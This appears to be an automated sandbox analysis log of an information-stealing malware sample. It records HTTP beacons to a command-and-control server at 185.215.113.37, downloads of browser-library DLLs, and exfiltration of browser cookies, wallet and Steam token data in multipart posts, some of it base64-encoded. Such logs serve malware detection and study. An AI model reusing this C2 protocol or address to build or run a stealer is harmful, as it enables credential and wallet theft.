Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHIIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 34 39 45 37 44 46 37 45 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="hwid"2549E7DF7E442409657292------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="build"doma------CFCFHJDBKJKEBFHJEHII--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFCHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="message"browsers------HJKECAAAFHJECAAAEBFC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 2d 2d 0d 0a Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="message"plugins------JECAFHJEGCFCBFIEGCAE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJDHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="message"fplugins------JJJJEBGDAFHJEBGDGIJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 185.215.113.37Content-Length: 7003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFIDHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFCHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 2d 2d 0d 0a Data Ascii: ------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="file"------KEBKJDBAAKJDGCBFHCFC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file"------KKKJEBAAECBGDHIECAKJ--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCFHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAAHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"wallets------EHDHIDAEHCFHJJJJECAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="message"files------DGDBFBFCBFBKECAAKJKF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file"------GDHDHJEBGHJKFIECBGCB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJEGIEBFIJJKFIIIJHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 45 47 49 45 42 46 49 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------AEGHJEGIEBFIJJKFIIIJContent-Disposition: form-data; name="message"ybncbhylepme------AEGHJEGIEBFIJJKFIIIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJJEGHDAECBFHJKEGIJK--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
